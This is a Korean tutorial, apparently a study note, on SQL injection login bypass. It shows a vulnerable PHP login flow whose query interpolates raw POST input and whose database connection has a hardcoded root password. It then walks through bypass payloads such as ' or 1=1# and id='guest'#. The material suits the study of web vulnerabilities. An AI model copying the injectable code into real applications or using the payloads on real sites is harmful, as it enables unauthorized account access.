SQL Injection 인증 우회

<@
	JSP 코드
@>

<?
	PHP 코드
?>

// index.php
<?
    @session_start(); // php에서 세션을 핸들링
    header("Content-Type : text/html; charset=utf-8");

    // session의 id가 비어있다면 경고창 띄운 후 로그인 창으로 이동
    if(empty($_SESSION["id"])){
        echo "<script>alert('로그인이 필요합니다');
        location.href='login.php';
        </script>" ;
        exit();

    }

   // $var = 1;   // 변수 선언시 $ 기호 사용
    //$test = 'test';
    //echo $ test // test 프린트
?>

<h1>회원 전용 페이지 입니다. </h1>
<!-- session 변수 값 불러오기 -->
<p> <?=$_SESSION["id"]?>님 반갑습니다.</p>
<input type="button" onclick="location.href='logout.php'" value="logout">

# login.php
<?
    @session_start(); // php에서 세션을 핸들링
    header("Content-Type : text/html; charset=utf-8");
?>
<h2> 로그인 페이지입니다. </h2>
<form action="loginAction.php" method="POST">
    <li>ID : <input type="text" name="id"></li>
    <li>PW : <input type="password" name="pw"></li>
</form>

# loginAction.php
<?
    @session_start(); // php에서 세션을 핸들링
    header("Content-Type : text/html; charset=utf-8");

    $db_conn = new mysqli("localhost","root","apmsetup","login");    // new mysqli (ip,사용자이름,pw,가져올 db)

    $id=$_POST["id"];
    $pw=$_POST["pw"];

    $query = "SELECT * FROM member WHERE id='{$id}' and pw='{$pw}'";
    $tmp =$db_conn->query($query); // 데이터 베이스에 접속한 후 query로 날려라
    $cnt = $tmp->num_rows;       // 레코드의 개수 세기
    $user = $tmp->fetch_assoc();    // tmp에서 받은 결과 값을 user에 넣는다

    if($cnt == 0){
        echo "<script>alert('ID 혹은 PW가 잘못 되었습니다');
                history.back(-1);
              </script>";
              exit();
    }
    $_SESSION["id"]=$user["id"];
    echo "<script>location.href='index.php';
          </script>";
?>

# logout.php
<?
    @session_start(); // php에서 세션을 핸들링
    header("Content-Type : text/html; charset=utf-8");
    session_destroy();

    echo"<script>
            location.href='login.php'
         </script>";

?>

인증 우회 공격

인증 기능을 수행하는 웹 어플리케이션 [ 서버 웹페이지 ]에 대해

SQL구문[' or 1=1#]을 삽입함으로써 정상적인 인증 없이 접근하는 취약점

 

로그인 공격

SELECT * FROM member WHERE id='입력 값' AND pw='입력 값'

1. 위 구문에 사용자 입력값을 넣는다.

2. 해당 쿼리가 결과를 반환하는데

2-1. 레코드가 0개 출력된다 > ID와 PW가 일치하지않는다.

2-2. 레코드가 1개 출력된다 > ID와 PW가 일치한다.

핵심 : 레코드를 출력시킬 수 있느냐 없느냐

 

정상적으로 admin으로 접속

인증 우회 공격시 보이는 알고리즘

인증 우회를 하게 되면 최 상위 아이디를 뽑아낸다.

그렇다면 Guest로 인증우회 로그인 하는법은 ?

Guest로 된 레코드를 출력하기만 하면 된다 == Guest가 최상단이면 된다.

SELECT * FROM member WHERE id='guest'#' and pw=''

SELECT * FROM tb_board WHERE idx=6 and password='거짓' or 1=1 #

SELECT * FROM tb_board WHERE password='거짓' or 1=1 #

SELECT * FROM tb_board WHERE 1 #

> 모든 tb_board 출력 > 그중 최상단 1번 테이블 출력

SELECT * FROM tb_board WHERE [idx=6 and password='거짓'] or 1=1 #

SELECT * FROM tb_board WHERE '거짓' or [1=1 and idx=6]

' or 1=1 and idx=6 #